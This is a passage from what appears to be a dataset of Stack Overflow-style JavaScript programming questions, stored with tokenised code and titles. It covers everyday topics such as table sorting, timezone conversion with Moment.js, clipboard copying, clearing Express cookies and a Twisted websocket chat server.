augmented Object.prototype instead ? Function.prototype.method = function ( name , func ) { this.prototype [ name ] = func ; return this ; } ; Number.method ( 'integer ' , function ( ) { return Math [ this < 0 ? 'ceiling ' : 'floor ' ] ( this ) ; } ) ; document.writeln ( ( -10 / 3 ) .integer ( ) ) ; // -3",Javascript Augmenting Function.prototype "JS : The browser 's default text highlight ( selection ) background color can be overridden , e.g . : And the color is browser/OS specific . Is there a way to read the browser 's default value using JavaScript or Dart ? : :selection { background : # ffb7b7 ; }",Determine browser 's default text highlight color using JavaScript or Dart "JS : I have an array as below I want to format my array to look as below I tried to use group by function as belowbut I am not getting the same format . Any suggestions please what I am missing in my idea ? Thank you very much . array1 = [ { `` month '' : '' January '' , '' location '' : '' CENTRAL '' , '' percentage '' :94 } , { `` month '' : '' February '' , '' location '' : '' CENTRAL '' , '' percentage '' :97 } , { `` month '' : '' March '' , '' location '' : '' CENTRAL '' , '' percentage '' :93 } , { `` month '' : '' January '' , '' location '' : '' NORTH '' , '' percentage '' :95 } , { `` month '' : '' February '' , '' location '' : '' NORTH '' , '' percentage '' :91 } , { `` month '' : '' March '' , '' location '' : '' NORTH '' , '' percentage '' :98 } ] ; array2= [ { location : `` CENTRAL '' , January : 94 , February : 97 , March : 93 } , { location : `` NORTH '' , January : 95 , February : 91 , March : 98 } ] ; function groupBy ( list , keyGetter ) { const map = new Map ( ) ; list.forEach ( ( item ) = > { const key = keyGetter ( item ) ; if ( ! map.has ( key ) ) { map.set ( key , [ item ] ) ; } else { map.get ( key ) .push ( item ) ; } } ) ; return map ; } const grouped = groupBy ( array1 , arr = > arr.location ) ; console.log ( grouped ) ;",how to group by an array in JavaScript / Jquery "JS : I am running into a very small issue which has taken more than two hours.What I want is to insert a row in an HTML table and then sort it in ascending order . I 've looked at this answer and thought that I can get this simple task working , but in vein.Here is my little form and table : My inline JavaScript function looks like this : Please note that adding a row to the table works fine , it just adds it to the top.There are no console errors . The code which ( apparently ) should sort the table does not do anything . I 've the subset of my HTML here on Fiddle , and yes that works fine.I know about jQuery tablesorter plugin but do not need to use it . Name : < input type= '' text '' name= '' name '' id= '' name '' > < br > Status : < input type= '' text '' name= '' status '' id= '' status '' > > < br > < button onclick= '' myFunction ( document.getElementsByName ( 'name ' ) [ 0 ] .value , document.getElementsByName ( 'status ' ) [ 0 ] .value ) '' > Click < /button > < br > < br > < table id= '' myTable '' > < thead > < tr > < th > Name < /th > < th > Status < /th > < /tr > < /thead > < tbody > < tr > < td > Doe , John < /td > < td > Approved < /td > < /tr > < tr > < td > aaa , John < /td > < td > Approved < /td > < /tr > < /tbody > < /table > function myFunction ( name , status ) { var table = document.getElementById ( 'myTable ' ) .getElementsByTagName ( 'tbody ' ) [ 0 ] ; var row = table.insertRow ( 0 ) ; var cell1 = row.insertCell ( 0 ) ; var cell2 = row.insertCell ( 1 ) ; cell1.innerHTML = name ; cell2.innerHTML = status ; // The following code should sort the table . var tbody = $ ( ' # mytable ' ) .find ( 'tbody ' ) ; tbody.find ( 'tr ' ) .sort ( function ( a , b ) { return $ ( 'td : first ' , a ) .text ( ) .localeCompare ( $ ( 'td : first ' , b ) .text ( ) ) ; } ) .appendTo ( tbody ) ; }",Adding a row and sorting table using JavaScript "JS : I stumbled over this polyfill of Array.prototype.includes.https : //developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes.Is there a reason for the comparison of the variables with themselves on line 21,22 ? if ( searchElement === currentElement || ( searchElement ! == searchElement & & currentElement ! == currentElement ) ) { return true ; }",Comparing a variable with itself "JS : This is pretty much IE related because IE is the environment I 'm using to test this , but I want to know if you can affect the relevancy of the error object properties when you throw an error . Consider the following javascript : Further down your code you haveSo the above would throw an error , but the error reported in the debugging information would show the error being thrown at line 9 of my.js instead of line 3201 . Is this something you can change using standard methods ? function MyClass ( Arg1 , Arg2 ) // Line 5 of my.js { if ( typeof Arg1 ! = `` string '' ) throw new Error ( `` Invalid argument passed for MyClass '' ) ; // Do some other stuff here } var myvar = new MyClass ( 100 , `` Hello '' ) ; // Line 3201 of my.js",Throwing errors in Javascript with error object relevancy "JS : I have 2 webapps , 1 of them on cloud is `` master '' , to which I need to match dates in the 2nd webapp `` child '' . Master ( 1st webapp , cloud ) is showing date in IST , Asia/Kolkata which it reads from sql machine sitting in EST timezone.Child ( 2nd webapp ) reads it 's data from Elasticsearch where a java feeder picks up the sql data and pushes it to Elasticsearch as it is , without any conversion.When I try to read this Elasticsearch data in my webapp ( child ) the dates in my webapp and the cloud does not match . Please correct me if I am wrong . Since Sql is storing dates in EST , `` America/New_York '' , Momentjs should 1st read the data = 1462475106000 in EST and then apply the user timezone which is IST , `` Asia/Kolkata '' . Is this correct ? Note : 1462475106000 is the 1st entry in both tableI am putting up a plunker here . Please help me figure out what could be going wrong and how can I match dates in both the webapps ( taking cloud as reference ) .UpdateJava feeder runs a sql query to fetch all the needed columns . Here is how log_datetime is fetched . Is this the correct way to fetch ? So I am assuming when it fetches data Daylight saving information is not considered and I am missing out this info too . So on UI side i 'll check for isDST ( ) and do a +5:00 hrs or +4:00 hrs depending on it , as date in sql is stored in America/New_York . Plunker with UI fix ... { `` _index '' : `` log_event_2016-05-05 '' , `` _type '' : `` log_event '' , `` _id '' : `` 65708004 '' , `` _score '' : null , `` _source '' : { `` task_name '' : `` kn_cvs_test '' , `` task_start_time '' : `` 2016-05-05T19:05:05.000-07:00 '' , `` task_end_time '' : `` 2016-05-05T19:05:06.000-07:00 '' , `` started_by '' : `` Schedule \ '' 10Minutes\ '' '' , `` log_datetime '' : 1462475106000 , `` dw_insert_dt '' : `` 2016-05-05T16:40:54.000-07:00 '' } , `` sort '' : [ 1462475106000 ] } , { `` _index '' : `` log_event_2016-05-05 '' , `` _type '' : `` log_event '' , `` _id '' : `` 65708005 '' , `` _score '' : null , `` _source '' : { `` task_name '' : `` kn_cvs_test '' , `` task_start_time '' : `` 2016-05-05T18:55:08.000-07:00 '' , `` task_end_time '' : `` 2016-05-05T18:55:11.000-07:00 '' , `` started_by '' : `` Schedule \ '' 10Minutes\ '' '' , `` log_datetime '' : 1462474511000 , `` dw_insert_dt '' : `` 2016-05-05T16:40:54.000-07:00 '' } , `` sort '' : [ 1462474511000 ] } ... //Timestamp column in table//data = 1462475106000 $ scope.getMeData = function ( data ) { var dFormat = `` YYYY-MM-DD hh : mm : ss A '' ; moment.tz.setDefault ( `` America/New_York '' ) ; return moment.tz ( data , `` Asia/Kolkata '' ) .format ( dFormat ) ; } ( task_end_time - to_date ( ' 1-1-1970 00:00:00 ' , 'MM-DD-YYYY HH24 : Mi : SS ' ) ) *24*3600*1000 AS `` log_datetime ''",Need to read epoch time in certain timezone and then convert it to user timezone "JS : I 'm using Contentful CMS to manage content and pulling in the content with their API.The content get pulled in as a json object . One of the keys in the object is for the main block of text for the entry I am pulling . The string has no actual code in it , but it does have line breaks . In Chrome console these appear as a small return arrow . Part of the object looks like this : Notice the line breaks within the content field . How do I take article.content and format these paragraphs into actual < p > tags ? I want to render HTML like so : var article = { name : `` Some name here '' , content : `` Lorem ipsum dolor sit amet , consectetur adipiscing elit . Sed lobortis libero lacus . Morbi non elit purus . Mauris eu dictum urna . Nam vulputate venenatis diam nec feugiat . Praesent dapibus viverra ullamcorper . Donec euismod purus vitae risus dignissim , id pulvinar enim tristique . Donec sed justo justo . Sed et ornare lacus.Lorem ipsum dolor sit amet , consectetur adipiscing elit . Sed lobortis libero lacus . Morbi non elit purus . Mauris eu dictum urna . Nam vulputate venenatis diam nec feugiat . Praesent dapibus viverra ullamcorper . Donec euismod purus vitae risus dignissim , id pulvinar enim tristique . Donec sed justo justo . Sed et ornare lacus.Lorem ipsum dolor sit amet , consectetur adipiscing elit . Sed lobortis libero lacus . Morbi non elit purus . Mauris eu dictum urna . Nam vulputate venenatis diam nec feugiat . Praesent dapibus viverra ullamcorper . Donec euismod purus vitae risus dignissim , id pulvinar enim tristique . Donec sed justo justo . Sed et ornare lacus . '' } < p > Lorem ipsum dolor sit amet , consectetur adipiscing elit . Sed lobortis libero lacus . Morbi non elit purus . Mauris eu dictum urna . Nam vulputate venenatis diam nec feugiat . Praesent dapibus viverra ullamcorper . Donec euismod purus vitae risus dignissim , id pulvinar enim tristique . Donec sed justo justo . Sed et ornare lacus. < /p > < p > Lorem ipsum dolor sit amet , consectetur adipiscing elit . Sed lobortis libero lacus . Morbi non elit purus . Mauris eu dictum urna . Nam vulputate venenatis diam nec feugiat . Praesent dapibus viverra ullamcorper . Donec euismod purus vitae risus dignissim , id pulvinar enim tristique . Donec sed justo justo . Sed et ornare lacus. < /p > < p > Lorem ipsum dolor sit amet , consectetur adipiscing elit . Sed lobortis libero lacus . Morbi non elit purus . Mauris eu dictum urna . Nam vulputate venenatis diam nec feugiat . Praesent dapibus viverra ullamcorper . Donec euismod purus vitae risus dignissim , id pulvinar enim tristique . Donec sed justo justo . Sed et ornare lacus. < /p >",Format string with line breaks into paragraphs "JS : I am trying to make a selectable list with parent/child/grandchild indentations . Please see below : http : //jsfiddle.net/Lmsop4k7/But , I am having a lot of problems coming up with the `` unselect '' functionality ( i.e . without having press down Ctrl ) . I also do n't want to `` bind '' Ctrl automatically to mouse down ( which is described in some other solutions ) , b/c I only want one item selected at one time . Also , I just want to understand how to do the control flow to unselect through the events ( e.g . `` selected : '' ) . What am I doing wrong here ? As you can see , the selection gets picked up correctly since the textbox gets updated correctly with the correct text . However , when I click an already clicked item to `` unselect '' ( without holding down Ctrl ) , it does n't unselect . I figure even in this situation , a `` selected '' event gets triggered - but clearly there is something wrong with my `` selected : '' code . Very frustrating..Thanks everyone . $ ( ' # theParentList ' ) .selectable ( { filter : 'li div ' , selected : function ( event , ui ) { var selectedText = $ ( ui.selected ) .text ( ) ; $ ( `` # selectedNode '' ) .text ( selectedText ) ; if ( $ ( ui.selected ) .hasClass ( 'selectedfilter ' ) ) { $ ( ui.selected ) .removeClass ( 'selectedfilter ' ) ; } } } ) ;",JqueryUI Selectable - unselecting without Ctrl "JS : The current code appends a button to quickly select some code in a < pre > tag . What I want to add is the ability to copy that content to the clipboard and change the button text to `` copied '' . How can I achieve it by modifying the current working code below ? I would n't mind using clipboard.js , jQuery bits or just native JS support as it was introduced since Chrome 43 . I just dont know how to go on from here on adding what I need . function selectPre ( e ) { if ( window.getSelection ) { var s = window.getSelection ( ) ; if ( s.setBaseAndExtent ) { s.setBaseAndExtent ( e , 0 , e , e.innerText.length - 1 ) ; } else { var r = document.createRange ( ) ; r.setStart ( e.firstChild , 0 ) ; r.setEnd ( e.lastChild , e.lastChild.textContent.length ) ; s.removeAllRanges ( ) ; s.addRange ( r ) ; } } else if ( document.getSelection ) { var s = document.getSelection ( ) ; var r = document.createRange ( ) ; r.selectNodeContents ( e ) ; s.removeAllRanges ( ) ; s.addRange ( r ) ; } else if ( document.selection ) { var r = document.body.createTextRange ( ) ; r.moveToElementText ( e ) ; r.select ( ) ; } } var diff = document.getElementById ( 'diff_table ' ) .getElementsByTagName ( 'tr ' ) ; var difflen = diff.length ; for ( i=0 ; i < difflen ; i++ ) { var newdiff = diff [ i ] .childNodes [ 1 ] ; if ( newdiff.className & & ( newdiff.className == 'added ' || newdiff.className == 'modified ' ) ) { newdiff.className += ' diff-select ' ; newdiff.innerHTML = ' < div class= '' btnbox '' > < button class= '' btn btn-default btn-xs '' onclick= '' selectPre ( this.parentNode.nextSibling ) '' > Select < /button > < /div > ' + newdiff.innerHTML ; } }",Custom select function with copy to clipboard pure JS "JS : I am creating an authorization system for my express ( with typescript ) application and I use JWT and save them into cookies to keep the user logged in . I have a problem with the logout part and res.clearCookie ( ) does n't delete cookies.I have used cookie-parser in the index file and I have tried resetting the cookie with an empty value or expiration date of now but it does n't work for me . As I stated above res.clearCookie ( `` jwt '' ) doesnt work either . All dependencies are up-to-date.Login and Login Verification works fine and I can set and read [ and decode ] the JWT properly.Main Part of Login Code Logout CodeAfter Logout I still can see the user profile but if I delete the cookie manually from postman the profile page wo n't show any information so my conclusion is that express can not clear cookies . res.cookie ( `` jwt '' , token , { httpOnly : true , expires : new Date ( Date.now ( ) + 1000 * 86400 * stayLoggedInDays ) } ) .send ( `` Message : Login successful '' ) ; router.post ( `` /logout '' , ( req , res , next ) = > { res.clearCookie ( `` jwt '' ) ; next ( ) ; } , ( req , res ) = > { console.log ( req.cookies ) ; res.end ( `` finish '' ) ; } ) ;",res.clearCookie function does n't delete cookies "JS : ScenarioEvery semester my students need to take at least one science , one physics and one history test . The following form gives the right average grades as well as the final grade of a student : The problem is it only works if all the fields are edited . If the student does n't take some tests , the average grades wo n't show the correct values . I know it 's because of dividing by the fixed number 3 when it calculates the average grades : QuestionWhat is a simple approach to get the number of changed input fields in the following single row ? I 'll try to understand your method and then develop my form to multiple rows . document.getElementById ( 'calcBtn ' ) .addEventListener ( 'click ' , function ( ) { var scienceTest1 = document.getElementById ( 'scienceTest1 ' ) .value ; var scienceTest2 = document.getElementById ( 'scienceTest2 ' ) .value ; var scienceTest3 = document.getElementById ( 'scienceTest3 ' ) .value ; var physicsTest1 = document.getElementById ( 'physicsTest1 ' ) .value ; var physicsTest2 = document.getElementById ( 'physicsTest2 ' ) .value ; var physicsTest3 = document.getElementById ( 'physicsTest3 ' ) .value ; var historyTest1 = document.getElementById ( 'historyTest1 ' ) .value ; var historyTest2 = document.getElementById ( 'historyTest2 ' ) .value ; var historyTest3 = document.getElementById ( 'historyTest3 ' ) .value ; var scienceAverage = document.getElementById ( 'scienceAverage ' ) ; var physicsAverage = document.getElementById ( 'physicsAverage ' ) ; var historyAverage = document.getElementById ( 'historyAverage ' ) ; var finalGrade = document.getElementById ( 'finalGrade ' ) ; scienceAverage.value = ( Number ( scienceTest1 ) + Number ( scienceTest2 ) + Number ( scienceTest3 ) ) / 3 ; physicsAverage.value = ( Number ( physicsTest1 ) + Number ( physicsTest2 ) + Number ( physicsTest3 ) ) / 3 ; historyAverage.value = ( Number ( historyTest1 ) + Number ( historyTest2 ) + Number ( historyTest3 ) ) / 3 ; finalGrade.value = ( scienceAverage.value * 5 + physicsAverage.value * 3 + historyAverage.value * 2 ) / 10 ; } ) ; < form > Science : < input type= '' number '' id= '' scienceTest1 '' > < input type= '' number '' id= '' scienceTest2 '' > < input type= '' number '' id= '' scienceTest3 '' > < output id= '' scienceAverage '' > < /output > < br > Physics : < input type= '' number '' id= '' physicsTest1 '' > < input type= '' number '' id= '' physicsTest2 '' > < input type= '' number '' id= '' physicsTest3 '' > < output id= '' physicsAverage '' > < /output > < br > History : < input type= '' number '' id= '' historyTest1 '' > < input type= '' number '' id= '' historyTest2 '' > < input type= '' number '' id= '' historyTest3 '' > < output id= '' historyAverage '' > < /output > < br > < input type= '' button '' value= '' Calculate '' id= '' calcBtn '' > < output id= '' finalGrade '' > < /output > < /form > scienceAverage.value = ( Number ( scienceTest1 ) + Number ( scienceTest2 ) + Number ( scienceTest3 ) ) / 3 ; physicsAverage.value = ( Number ( physicsTest1 ) + Number ( physicsTest2 ) + Number ( physicsTest3 ) ) / 3 ; historyAverage.value = ( Number ( historyTest1 ) + Number ( historyTest2 ) + Number ( historyTest3 ) ) / 3 ; document.getElementById ( 'calcBtn ' ) .addEventListener ( 'click ' , function ( ) { var test1 = document.getElementById ( 'test1 ' ) .value ; var test2 = document.getElementById ( 'test2 ' ) .value ; var test3 = document.getElementById ( 'test3 ' ) .value ; var average = document.getElementById ( 'average ' ) ; average.value = ( Number ( test1 ) + Number ( test2 ) + Number ( test3 ) ) / 3 ; } ) ; < form > < input type= '' number '' id= '' test1 '' > < input type= '' number '' id= '' test2 '' > < input type= '' number '' id= '' test3 '' > < output id= '' average '' > < /output > < br > < input type= '' button '' value= '' Calculate '' id= '' calcBtn '' > < /form >",JavaScript : Get number of edited/updated inputs "JS : Say I have a RequireJS module , and there is only ever one instance in my app ( say it does something asynchronous and has callbacks passed to it ) : and I want to unit test an instance of this module , I have found myself constructing the module this way instead : This provides me something with no state attached which I can then poke from my unit tests , so in my unit tests I never reference modules/myModuleInstance , only modules/myModule , which I construct each time for each test . The app then references modules/myModuleInstance.This feels like an anti-pattern . I hate having the extra `` module instance '' part in there . I know about setup and teardown methods in unit tests , and could maintain the instance this way , but having witnessed what can happen with C # when attempting to unit test massive singletons , fiddling with state between unit tests is something I really want to avoid , especially with a dynamic language.What do people normally do in this case ? // modules/myModuledefine ( function ( ) { var module = function ( ) { var self = this ; self.runSomething ( ) { console.log ( `` hello world '' ) ; } ; } ; return new module ( ) ; } ) ; // modules/myModuledefine ( function ( ) { return function ( ) { var self = this ; self.runRouting ( ) { console.log ( `` hello world '' ) ; } ; } ; } ) ; // modules/myModuleInstancedefine ( [ `` modules/myModule '' ] , function ( myModule ) { return new myModule ( ) ; } ) ;",Pattern for unit testing stateful RequireJS modules "JS : On the html5shiv Google Code page the example usage includes an IE conditional : However on the html5shiv github page , the description explains : This script is the defacto way to enable use of HTML5 sectioning elements in legacy Internet Explorer , as well as default HTML5 styling in Internet Explorer 6 - 9 , Safari 4.x ( and iPhone 3.x ) , and Firefox 3.x.An obvious contradiction . So to satisfy my curiosity , for anyone who has studied the code , are there any adverse side affects to loading html5shiv in every browser ( without the IE conditional ) ? EDIT : My goal , obviously , is to use the shiv without the IE conditional . < ! -- [ if lt IE 9 ] > < script src= '' dist/html5shiv.js '' > < /script > < ! [ endif ] -- >",Are there any adverse side effects to loading html5shiv in every browser ? "JS : First I scaffolded out an angular project using the Yeoman generator-angular generator.The Karma tests with grunt test do n't work right out of the box , so you need to install some additional dependencies manually : After this though , the tests still fail . From the errors it appears as if the coffeescript files are being interpreted as JavaScript . $ mkdir project & & cd project $ yo angular -- coffee ... [ ? ] Would you like to use Sass ( with Compass ) ? Yes [ ? ] Would you like to include Twitter Bootstrap ? Yes [ ? ] Would you like to use the Sass version of Twitter Bootstrap ? Yes [ ? ] Which modules would you like to include ? angular-resource.js , angular-route.js ... $ npm install karma-jasmine -- save-dev $ npm install karma-chrome-launcher -- save-dev $ grunt testRunning `` karma : unit '' ( karma ) taskINFO [ karma ] : Karma v0.12.1 server started at http : //localhost:8080/INFO [ launcher ] : Starting browser ChromeWARN [ watcher ] : Pattern `` /Users/karl/projects/resources/test/mock/**/*.coffee '' does not match any file.INFO [ Chrome 33.0.1750 ( Mac OS X 10.9.2 ) ] : Connected on socket W35K_wuKKVx2BweeP-F2 with id 48564140Chrome 33.0.1750 ( Mac OS X 10.9.2 ) ERROR Uncaught SyntaxError : Unexpected token > at /Users/karl/projects/resources/app/scripts/app.coffee:7Chrome 33.0.1750 ( Mac OS X 10.9.2 ) ERROR Uncaught SyntaxError : Unexpected string at /Users/karl/projects/resources/app/scripts/controllers/header.coffee:4Chrome 33.0.1750 ( Mac OS X 10.9.2 ) ERROR Uncaught SyntaxError : Unexpected string at /Users/karl/projects/resources/app/scripts/controllers/main.coffee:4Chrome 33.0.1750 ( Mac OS X 10.9.2 ) ERROR Uncaught SyntaxError : Unexpected string at /Users/karl/projects/resources/test/spec/controllers/main.coffee:3",Tests fail with new generator-angular project ( CoffeeScript ) JS : I 'm using a jQuery selector to return objects . For example var target = $ ( '.target ' ) ; will return 6 objects.The objects do not have the same parent.I want to give each object classes like so : And so on ... I thought I could use some modulus . I know the following is wrong.Is there an easy way that i 'm over looking ? target [ 0 ] .addClass ( 'top ' ) ; target [ 1 ] .addClass ( 'middle ' ) ; target [ 2 ] .addClass ( 'low ' ) ; target [ 3 ] .addClass ( 'top ' ) ; target [ 4 ] .addClass ( 'middle ' ) ; target [ 5 ] .addClass ( 'low ' ) ; target.each ( function ( index ) { index += 1 ; if ( index % 3 === 0 ) { $ ( this ) .addClass ( 'low ' ) ; } else if ( index % 2 === 0 ) { $ ( this ) .addClass ( 'middle ' ) ; } else { $ ( this ) .addClass ( 'top ' ) ; } },"Give every first , second and third element a unique class using jQuery" "JS : If I have a parent div that contains a child div on top of it , can I give the parent div the focus without hiding the child div ? I am using Google Maps API and would like to draw a grid of transparent divs on top of it for inserting information , however , with all of those little divs on top of my map , I can not drag the map.I 'm sure I can do it using the API but that 's sort of beside the point , because I would like to do this regardless of what I 'm working on top of.I am using JQuery and messed around with .focus ( ) but that did n't work out.THANKS ! < div style= '' position : relative ; width : 100px ; height : 100px ; '' id= '' wanttofocus '' > < div style= '' position : absolute ; width : 100px ; height : 100px ; '' id= '' want_to_see_but_dont_want_to_focus_on '' > Some overlay information < /div > < /div >","How can I give focus back to object with lower z-index , trying to create a series of transparent divs on top of a map" "JS : IntroductionFor some calculations I need to find the smallest possible number I can add/subtract from a specified number without JavaScript getting in trouble with the internal used data type.GoalI tried to write a function which is able to return the next nearest number to VALUE in the direction of value DIR.The problem with this is , that JavaScript uses a 64-bit float type ( I think ) which has different minimum step sizes depending on its current exponent.Problem in detailThe problem is the step size depending on its current exponent : SummarySo how can I find the smallest possible number I can add/subtract from a value specified in a parameter in any direction ? In C++ this would be easily possible by accessing the numbers binary values . function nextNearest ( value , direction ) { // Special cases for value==0 or value==direction removed if ( direction < value ) { return value - Number.MIN_VALUE ; } else { return value + Number.MIN_VALUE ; } } var a = Number.MIN_VALUE ; console.log ( a ) ; // 5e-324console.log ( a + Number.MIN_VALUE ) ; // 1e-323 ( changed , as expected ) var a = Number.MAX_VALUE ; console.log ( a ) ; // 1.7976931348623157e+308console.log ( a - Number.MIN_VALUE ) ; // 1.7976931348623157e+308 ( that 's wrong ) console.log ( a - Number.MIN_VALUE == a ) ; // true ( which also is wrong )",Get next smallest nearest number to a decimal "JS : I have a div with a fixed height and a fluid width ( 15 % of body width ) . I want the paragraph text inside to totally fill the div ; not overflow and not underfill.I 've tried with jQuery to increment the text size until the height of the paragraph is equal to the height of the container div . At that point , the text should be totally covering the div . The only problem is that font-size increments in 0.5px values . You ca n't do 33.3px ; it has to be either 33.0px or 33.5px . So at 33px , my text is far too short to cover the div , and at 33.5px it overflows.Does anyone have any ideas on how to remedy this ? There are lots of plugins for making text fill the whole width of a container , but not for text that has to fill both the width and height . At least , none that I 've seen.Text set at 33px . It is too short.Text set at 33.5px . It overflows . < head > < style type= '' text/css '' > .box { display : block ; position : relative ; width:15 % ; height:500px ; background : orange ; } .box p { background : rgba ( 0,0,0 , .1 ) ; /* For clarity */ } < /style > < /head > < body > < div class= '' box '' > < p > Lorem ipsum dolor sit amet , consectetur adipiscing elit . < br > < br > Suspendisse varius nibh quis urna porttitor , pharetra elementum nisl egestas . Suspendisse libero lacus , faucibus id convallis sit amet , consequat vitae odio. < /p > < /div > < script type= '' text/javascript '' src= '' js/jquery-1.11.1.min.js '' > < /script > < script type= '' text/javascript '' > function responsiveText ( ) { var i = 0.5 ; do { $ ( `` .box p '' ) .css ( `` font-size '' , ( i ) + `` px '' ) ; var textHeight = $ ( `` .box p '' ) .height ( ) , containerHeight = $ ( `` .box '' ) .height ( ) ; i += 0.5 ; } while ( textHeight < containerHeight ) ; // While the height of the paragraph block is less than the height of the container , run the do ... while loop . } responsiveText ( ) ; $ ( window ) .resize ( function ( e ) { responsiveText ( ) ; } ) ; < /script > < /body >",Resize text to totally fill container "JS : As some of you may know already , Internet Explorer 's onchange event is fundamentally broken prior to version 9 . Instead of triggering when a change occurs , it triggers when the input field loses the focus and has changes.This lead to various workarounds for checkboxes and radio buttons ( `` use onclick instead '' ) and text fields ( `` use keyup instead '' ) .However , I 'm having that problem for a file input , and I ca n't figure out what I do to be notified that a new file has been selected , right after it did , and not when the user clicks elsewhere . I ca n't attach myself to a mouse event because it 's not related to the mouse ; and I ca n't attach myself to a keyboard event because it 's not related to the keyboard either.I 'd be willing to use IE-specific stuff if it can solve the problem.Additional infos : I use jQuery 1.6 and the live method to attach the event . $ ( `` .upload '' ) .live ( `` change '' , function ( ) { /* stuff here */ } ) ;",What is the workaround for onchange with file inputs ? "JS : I 'm trying to test the performance of my app by using react perf tools . The problem is its not working.I callin the console , which works ( no console errors or warnings ) , but printWasted ( ) always returns empty Array and a message Total time : 0.00 msThis also happens for other functions like printInclusive ( ) and printExclusive ( ) What can be the problem ? P.S I 'm using react-router , how is react perf performing with that ? Maybe that 's causing some issues ? Also , process.env.NODE_ENV is not set to production , and I 'm using React 0.13.3 Perf.start ( ) Perf.stop ( ) Perf.printWasted ( )",React perf always prints empty Array "JS : UP-FRONT NOTE : I am not using jQuery or another library here because I want to understand what I ’ ve written and why it works ( or doesn ’ t ) , so please don ’ t answer this with libraries or plugins for libraries . I have nothing against libraries , but for this project they ’ re inimical to my programming goals.That said…Over at http : //meyerweb.com/eric/css/colors/ I added some column sorting using DOM functions I wrote myself . The problem is that while it works great for , say , the simple case of alphabetizing strings , the results are inconsistent across browsers when I try to sort on multiple numeric terms—in effect , when I try to do a sort with two subsorts.For example , if you click “ Decimal RGB ” a few times in Safari or Firefox on OS X , you get the results I intended . Do the same in Chrome or Opera ( again , OS X ) and you get very different results . Yes , Safari and Chrome diverge here.Here ’ s a snippet of the JS I ’ m using for the RGB sort : ( sorter being the array I ’ m trying to sort . ) The sort is done in the tradition of another StackOverflow question “ How does one sort a multi dimensional array by multiple columns in JavaScript ? ” and its top answer . Yet the results are not what I expected in two of the four browsers I initially tried out.I sort ( ha ! ) of get that this has to do with array sorts being “ unstable ” —no argument here ! —but what I don ’ t know is how to overcome it in a consistent , reliable manner . I could really use some help both understanding the problem and seeing the solution , or at least a generic description of the solution.I realize there are probably six million ways to optimize the rest of the JS ( yes , I used a global ) . I ’ m still a JS novice and trying to correct that through practice . Right now , it ’ s array sorting that ’ s got me confused , and I could use some help with that piece of the script before moving on to cleaning up the code elsewhere . Thanks in advance ! UPDATEIn addition to the great explanations and suggestions below , I got a line on an even more compact solution : Even though I don ’ t quite understand it yet , I think I ’ m beginning to grasp its outlines and it ’ s what I ’ m using now . Thanks to everyone for your help ! sorter.sort ( function ( a , b ) { return a.blue - b.blue ; } ) ; sorter.sort ( function ( a , b ) { return a.green - b.green ; } ) ; sorter.sort ( function ( a , b ) { return a.red - b.red ; } ) ; function rgbSort ( a , b ) { return ( a.red - b.red || a.green - b.green || a.blue - b.blue ) ; }",How can I reliably subsort arrays using DOM methods ? "JS : i have a python chatserver that uses twisted and autobahn websockets for connection.this is the serveran independent html/js client can connect and send chat messages . but i want to implement an open id authentication ( performed by the server ) , before opening the websocket . this is the onload function : as i 'm new to python/twisted i do n't know how to do this and examples mostly show only websocket chatroom without authentification . how can i implement openid properly ? as it also requires redirection , which would break the ws connection . factory = MessageServerFactory ( `` ws : //localhost:9000 '' , debug=debug , debugCodePaths=debug ) factory.protocol = MessageServerProtocolfactory.setProtocolOptions ( allowHixie76=True ) listenWS ( factory ) import loggingfrom autobahn.websocket import WebSocketServerFactory , WebSocketServerProtocolfrom DatabaseConnector import DbConnectorfrom LoginManager import LoginManagerfrom MessageTypes import MessageParserclass MessageServerProtocol ( WebSocketServerProtocol ) : def onOpen ( self ) : self.factory.register ( self ) def onMessage ( self , msg , binary ) : if not binary : self.factory.processMessage ( self , msg ) def connectionLost ( self , reason ) : WebSocketServerProtocol.connectionLost ( self , reason ) self.factory.unregister ( self ) class MessageServerFactory ( WebSocketServerFactory ) : logging.basicConfig ( filename='log/dastan.log ' , format= ' % ( levelname ) s : % ( message ) s ' , level=logging.WARNING ) def __init__ ( self , url , debug=False , debugCodePaths=False ) : WebSocketServerFactory.__init__ ( self , url , debug=debug , debugCodePaths=debugCodePaths ) self.clients = { } self.connector = DbConnector ( ) self.messages = MessageParser ( ) self.manager = LoginManager ( ) def register ( self , client ) : print `` % s connected '' % client.peerstrdef unregister ( self , client ) : if self.clients.has_key ( client ) : self.processLogout ( client ) print `` % s disconnected '' % client.peerstrdef processMessage ( self , client , msg ) : try : msg = self.messages.parseMessage ( msg ) action = msg [ 'Type ' ] except ValueError , e : logging.warning ( `` [ Parse ] : % s '' , e.message ) client.sendMessage ( self.messages.createErrorMessage ( `` could not parse your message '' ) ) return if action == `` ChatMessage '' : self.processChatMessage ( client , msg ) # elif action == `` Login '' : # self.processLogin ( client , msg ) # elif action == `` Logout '' : # self.processLogout ( client ) elif action == `` OpenId '' : self.manager.processLogin ( client , msg ) def processChatMessage ( self , client , msg ) : if not self.clients.has_key ( client ) : client.sendMessage ( self.messages.createErrorMessage ( 'Not authorized ' ) ) return if not msg [ 'Message ' ] : client.sendMessage ( self.messages.createErrorMessage ( 'Invalid Message ' ) ) return if not msg [ 'Recipient ' ] : client.sendMessage ( self.messages.createErrorMessage ( 'Invalid Recipient ' ) ) return if msg [ 'Recipient ' ] in self.clients.values ( ) : for c in self.clients : if self.clients [ msg [ 'Recipient ' ] ] : c.sendMessage ( self.messages.chatMessage ( msg [ 'Sender ' ] , msg [ 'Message ' ] ) ) print `` sent message from % s to % s : ' % s ' .. '' % ( msg [ 'Sender ' ] , msg [ 'Recipient ' ] , msg [ 'Message ' ] ) else : client.sendMessage ( self.messages.createErrorMessage ( 'User not registered ' ) ) def checkSender ( self , user , client ) : if user in self.clients.values ( ) and self.clients [ client ] == user : return else : self.clients [ client ] = user var wsuri = `` ws : //192.168.0.12:9000 '' ; if ( `` WebSocket '' in window ) { sock = new WebSocket ( wsuri ) ; } else if ( `` MozWebSocket '' in window ) { sock = new MozWebSocket ( wsuri ) ; } else { log ( `` Browser does not support WebSocket ! `` ) ; window.location = `` http : //autobahn.ws/unsupportedbrowser '' ; } if ( sock ) { sock.onopen = function ( ) { log ( `` Connected to `` + wsuri ) ; } sock.onclose = function ( e ) { log ( `` Connection closed ( wasClean = `` + e.wasClean + `` , code = `` + e.code + `` , reason = ' '' + e.reason + `` ' ) '' ) ; sock = null ; } sock.onmessage = function ( e ) { receive ( e.data ) ; } }",twisted websocket chatserver openid authentication "JS : I am having a problem in displaying a iframe on a page.I have a top frame that displays a logo along the top ( which is fine 